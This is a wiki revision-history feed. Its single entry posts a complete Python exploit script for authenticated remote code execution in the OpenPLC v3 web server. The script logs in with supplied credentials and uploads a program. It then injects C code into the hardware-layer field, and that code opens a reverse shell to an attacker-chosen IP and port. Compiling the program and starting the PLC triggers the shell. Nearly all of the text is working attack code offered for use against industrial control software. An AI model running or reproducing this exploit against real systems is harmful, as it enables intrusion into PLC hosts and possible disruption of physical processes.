<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=OpenPLC_3_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>OpenPLC 3 遠程命令執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=OpenPLC_3_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=OpenPLC_3_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-08T00:38:38Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=OpenPLC_3_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1898&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: OpenPLC 3 - Remote Code Execution (Authenticated) # Date: 25/04/2021 # Exploit Author: Fellipe Oliveira # Vendor Homepage: https://www.openplcpr...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=OpenPLC_3_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1898&amp;oldid=prev"/>
		<updated>2021-04-26T09:52:58Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: OpenPLC 3 - Remote Code Execution (Authenticated) # Date: 25/04/2021 # Exploit Author: Fellipe Oliveira # Vendor Homepage: https://www.openplcpr...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: OpenPLC 3 - Remote Code Execution (Authenticated)&lt;br /&gt;
# Date: 25/04/2021&lt;br /&gt;
# Exploit Author: Fellipe Oliveira&lt;br /&gt;
# Vendor Homepage: https://www.openplcproject.com/&lt;br /&gt;
# Software Link: https://github.com/thiagoralves/OpenPLC_v3&lt;br /&gt;
# Version: OpenPLC v3&lt;br /&gt;
# Tested on: Ubuntu 16.04,Debian 9,Debian 10 Buster&lt;br /&gt;
&lt;br /&gt;
#/usr/bin/python3&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import sys&lt;br /&gt;
import time&lt;br /&gt;
import optparse&lt;br /&gt;
import re&lt;br /&gt;
&lt;br /&gt;
parser = optparse.OptionParser()&lt;br /&gt;
parser.add_option('-u', '--url', action=&amp;quot;store&amp;quot;, dest=&amp;quot;url&amp;quot;, help=&amp;quot;Base target uri (ex. http://target-uri:8080)&amp;quot;)&lt;br /&gt;
parser.add_option('-l', '--user', action=&amp;quot;store&amp;quot;, dest=&amp;quot;user&amp;quot;, help=&amp;quot;User credential to login&amp;quot;)&lt;br /&gt;
parser.add_option('-p', '--passw', action=&amp;quot;store&amp;quot;, dest=&amp;quot;passw&amp;quot;, help=&amp;quot;Pass credential to login&amp;quot;)&lt;br /&gt;
parser.add_option('-i', '--rip', action=&amp;quot;store&amp;quot;, dest=&amp;quot;rip&amp;quot;, help=&amp;quot;IP for Reverse Connection&amp;quot;)&lt;br /&gt;
parser.add_option('-r', '--rport', action=&amp;quot;store&amp;quot;, dest=&amp;quot;rport&amp;quot;, help=&amp;quot;Port for Reverse Connection&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
options, args = parser.parse_args()&lt;br /&gt;
if not options.url:&lt;br /&gt;
    print('[+] Remote Code Execution on OpenPLC_v3 WebServer')&lt;br /&gt;
    print('[+] Specify an url target')&lt;br /&gt;
    print(&amp;quot;[+] Example usage: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444&amp;quot;)&lt;br /&gt;
    exit()&lt;br /&gt;
&lt;br /&gt;
host = options.url&lt;br /&gt;
login = options.url + '/login' &lt;br /&gt;
upload_program = options.url + '/programs'&lt;br /&gt;
compile_program = options.url + '/compile-program?file=681871.st' &lt;br /&gt;
run_plc_server = options.url + '/start_plc'&lt;br /&gt;
user = options.user&lt;br /&gt;
password = options.passw&lt;br /&gt;
rev_ip = options.rip&lt;br /&gt;
rev_port = options.rport&lt;br /&gt;
x = requests.Session()&lt;br /&gt;
&lt;br /&gt;
def auth():&lt;br /&gt;
    print('[+] Remote Code Execution on OpenPLC_v3 WebServer')&lt;br /&gt;
    time.sleep(1)&lt;br /&gt;
    print('[+] Checking if host '+host+' is Up...')&lt;br /&gt;
    host_up = x.get(host)&lt;br /&gt;
    try:&lt;br /&gt;
        if host_up.status_code == 200:&lt;br /&gt;
            print('[+] Host Up! ...')&lt;br /&gt;
    except:&lt;br /&gt;
        print('[+] This host seems to be down :( ')&lt;br /&gt;
        sys.exit(0)&lt;br /&gt;
&lt;br /&gt;
    print('[+] Trying to authenticate with credentials '+user+':'+password+'') &lt;br /&gt;
    time.sleep(1)   &lt;br /&gt;
    submit = {&lt;br /&gt;
        'username': user,&lt;br /&gt;
        'password': password&lt;br /&gt;
    }&lt;br /&gt;
    x.post(login, data=submit)&lt;br /&gt;
    response = x.get(upload_program)&lt;br /&gt;
            &lt;br /&gt;
    if len(response.text) &amp;gt; 30000 and response.status_code == 200:&lt;br /&gt;
        print('[+] Login success!')&lt;br /&gt;
        time.sleep(1)&lt;br /&gt;
    else:&lt;br /&gt;
        print('[x] Login failed :(')&lt;br /&gt;
        sys.exit(0)  &lt;br /&gt;
&lt;br /&gt;
def injection():&lt;br /&gt;
    print('[+] PLC program uploading... ')&lt;br /&gt;
    upload_url = host + &amp;quot;/upload-program&amp;quot; &lt;br /&gt;
    upload_cookies = {&amp;quot;session&amp;quot;: &amp;quot;.eJw9z7FuwjAUheFXqTx3CE5YInVI5RQR6V4rlSPrekEFXIKJ0yiASi7i3Zt26HamT-e_i83n6M-tyC_j1T-LzXEv8rt42opcIEOCCtgFysiWKZgic-otkK2XLr53zhQTylpiOC2cKTPkYt7NDSMlJJtv4NcO1Zq1wQhMqbYk9YokMSWgDgnK6qRXVevsbPC-1bZqicsJw2F2YeksTWiqANwkNFsQXdSKUlB16gIskMsbhF9_9yIe8_fBj_Gj9_3lv-Z69uNfkvgafD90O_H4ARVeT-s.YGvgPw.qwEcF3rMliGcTgQ4zI4RInBZrqE&amp;quot;}&lt;br /&gt;
    upload_headers = {&amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0&amp;quot;, &amp;quot;Accept&amp;quot;: &amp;quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8&amp;quot;, &amp;quot;Accept-Language&amp;quot;: &amp;quot;en-US,en;q=0.5&amp;quot;, &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;, &amp;quot;Content-Type&amp;quot;: &amp;quot;multipart/form-data; boundary=---------------------------210749863411176965311768214500&amp;quot;, &amp;quot;Origin&amp;quot;: host, &amp;quot;Connection&amp;quot;: &amp;quot;close&amp;quot;, &amp;quot;Referer&amp;quot;: host + &amp;quot;/programs&amp;quot;, &amp;quot;Upgrade-Insecure-Requests&amp;quot;: &amp;quot;1&amp;quot;} &lt;br /&gt;
    upload_data = &amp;quot;-----------------------------210749863411176965311768214500\r\nContent-Disposition: form-data; name=\&amp;quot;file\&amp;quot;; filename=\&amp;quot;program.st\&amp;quot;\r\nContent-Type: application/vnd.sailingtracker.track\r\n\r\nPROGRAM prog0\n  VAR\n    var_in : BOOL;\n    var_out : BOOL;\n  END_VAR\n\n  var_out := var_in;\nEND_PROGRAM\n\n\nCONFIGURATION Config0\n\n  RESOURCE Res0 ON PLC\n    TASK Main(INTERVAL := T#50ms,PRIORITY := 0);\n    PROGRAM Inst0 WITH Main : prog0;\n  END_RESOURCE\nEND_CONFIGURATION\n\r\n-----------------------------210749863411176965311768214500\r\nContent-Disposition: form-data; name=\&amp;quot;submit\&amp;quot;\r\n\r\nUpload Program\r\n-----------------------------210749863411176965311768214500--\r\n&amp;quot;&lt;br /&gt;
    upload = x.post(upload_url, headers=upload_headers, cookies=upload_cookies, data=upload_data)&lt;br /&gt;
&lt;br /&gt;
    act_url = host + &amp;quot;/upload-program-action&amp;quot;&lt;br /&gt;
    act_headers = {&amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0&amp;quot;, &amp;quot;Accept&amp;quot;: &amp;quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8&amp;quot;, &amp;quot;Accept-Language&amp;quot;: &amp;quot;en-US,en;q=0.5&amp;quot;, &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;, &amp;quot;Content-Type&amp;quot;: &amp;quot;multipart/form-data; boundary=---------------------------374516738927889180582770224000&amp;quot;, &amp;quot;Origin&amp;quot;: host, &amp;quot;Connection&amp;quot;: &amp;quot;close&amp;quot;, &amp;quot;Referer&amp;quot;: host + &amp;quot;/upload-program&amp;quot;, &amp;quot;Upgrade-Insecure-Requests&amp;quot;: &amp;quot;1&amp;quot;}&lt;br /&gt;
    act_data = &amp;quot;-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\&amp;quot;prog_name\&amp;quot;\r\n\r\nprogram.st\r\n-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\&amp;quot;prog_descr\&amp;quot;\r\n\r\n\r\n-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\&amp;quot;prog_file\&amp;quot;\r\n\r\n681871.st\r\n-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\&amp;quot;epoch_time\&amp;quot;\r\n\r\n1617682656\r\n-----------------------------374516738927889180582770224000--\r\n&amp;quot;&lt;br /&gt;
    upload_act = x.post(act_url, headers=act_headers, data=act_data)&lt;br /&gt;
    time.sleep(2)&lt;br /&gt;
&lt;br /&gt;
def connection():&lt;br /&gt;
    print('[+] Attempt to Code injection...')&lt;br /&gt;
    inject_url = host + &amp;quot;/hardware&amp;quot;&lt;br /&gt;
    inject_dash = host + &amp;quot;/dashboard&amp;quot;&lt;br /&gt;
    inject_cookies = {&amp;quot;session&amp;quot;: &amp;quot;.eJw9z7FuwjAUheFXqTx3CE5YInVI5RQR6V4rlSPrekEFXIKJ0yiASi7i3Zt26HamT-e_i83n6M-tyC_j1T-LzXEv8rt42opcIEOCCtgFysiWKZgic-otkK2XLr53zhQTylpiOC2cKTPkYt7NDSMlJJtv4NcO1Zq1wQhMqbYk9YokMSWgDgnK6qRXVevsbPC-1bZqicsJw2F2YeksTWiqANwkNFsQXdSKUlB16gIskMsbhF9_9yIe8_fBj_Gj9_3lv-Z69uNfkvgafD90O_H4ARVeT-s.YGvyFA.2NQ7ZYcNZ74ci2miLkefHCai2Fk&amp;quot;}&lt;br /&gt;
    inject_headers = {&amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0&amp;quot;, &amp;quot;Accept&amp;quot;: &amp;quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8&amp;quot;, &amp;quot;Accept-Language&amp;quot;: &amp;quot;en-US,en;q=0.5&amp;quot;, &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;, &amp;quot;Content-Type&amp;quot;: &amp;quot;multipart/form-data; boundary=---------------------------289530314119386812901408558722&amp;quot;, &amp;quot;Origin&amp;quot;: host, &amp;quot;Connection&amp;quot;: &amp;quot;close&amp;quot;, &amp;quot;Referer&amp;quot;: host + &amp;quot;/hardware&amp;quot;, &amp;quot;Upgrade-Insecure-Requests&amp;quot;: &amp;quot;1&amp;quot;}&lt;br /&gt;
    inject_data = &amp;quot;-----------------------------289530314119386812901408558722\r\nContent-Disposition: form-data; name=\&amp;quot;hardware_layer\&amp;quot;\r\n\r\nblank_linux\r\n-----------------------------289530314119386812901408558722\r\nContent-Disposition: form-data; name=\&amp;quot;custom_layer_code\&amp;quot;\r\n\r\n#include \&amp;quot;ladder.h\&amp;quot;\r\n#include &amp;lt;stdio.h&amp;gt;\r\n#include &amp;lt;sys/socket.h&amp;gt;\r\n#include &amp;lt;sys/types.h&amp;gt;\r\n#include &amp;lt;stdlib.h&amp;gt;\r\n#include &amp;lt;unistd.h&amp;gt;\r\n#include &amp;lt;netinet/in.h&amp;gt;\r\n#include &amp;lt;arpa/inet.h&amp;gt;\r\n\r\n\r\n//-----------------------------------------------------------------------------\r\n\r\n//-----------------------------------------------------------------------------\r\nint ignored_bool_inputs[] = {-1};\r\nint ignored_bool_outputs[] = {-1};\r\nint ignored_int_inputs[] = {-1};\r\nint ignored_int_outputs[] = {-1};\r\n\r\n//-----------------------------------------------------------------------------\r\n\r\n//-----------------------------------------------------------------------------\r\nvoid initCustomLayer()\r\n{\r\n   \r\n    \r\n    \r\n}\r\n\r\n\r\nvoid updateCustomIn()\r\n{\r\n\r\n}\r\n\r\n\r\nvoid updateCustomOut()\r\n{\r\n    int port = &amp;quot;+rev_port+&amp;quot;;\r\n    struct sockaddr_in revsockaddr;\r\n\r\n    int sockt = socket(AF_INET, SOCK_STREAM, 0);\r\n    revsockaddr.sin_family = AF_INET;       \r\n    revsockaddr.sin_port = htons(port);\r\n    revsockaddr.sin_addr.s_addr = inet_addr(\&amp;quot;&amp;quot;+rev_ip+&amp;quot;\&amp;quot;);\r\n\r\n    connect(sockt, (struct sockaddr *) &amp;amp;revsockaddr, \r\n    sizeof(revsockaddr));\r\n    dup2(sockt, 0);\r\n    dup2(sockt, 1);\r\n    dup2(sockt, 2);\r\n\r\n    char * const argv[] = {\&amp;quot;/bin/sh\&amp;quot;, NULL};\r\n    execve(\&amp;quot;/bin/sh\&amp;quot;, argv, NULL);\r\n\r\n    return 0;  \r\n    \r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----------------------------289530314119386812901408558722--\r\n&amp;quot;&lt;br /&gt;
    inject = x.post(inject_url, headers=inject_headers, cookies=inject_cookies, data=inject_data)&lt;br /&gt;
    time.sleep(3)&lt;br /&gt;
    comp = x.get(compile_program)&lt;br /&gt;
    time.sleep(6)&lt;br /&gt;
    x.get(inject_dash)&lt;br /&gt;
    time.sleep(3)&lt;br /&gt;
    print('[+] Spawning Reverse Shell...')&lt;br /&gt;
    start = x.get(run_plc_server)&lt;br /&gt;
    time.sleep(1)&lt;br /&gt;
    if start.status_code == 200:&lt;br /&gt;
        print('[+] Reverse connection receveid!') &lt;br /&gt;
        sys.exit(0)&lt;br /&gt;
    else:&lt;br /&gt;
        print('[+] Failed to receive connection :(')&lt;br /&gt;
        sys.exit(0)&lt;br /&gt;
&lt;br /&gt;
auth()&lt;br /&gt;
injection()&lt;br /&gt;
connection()&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>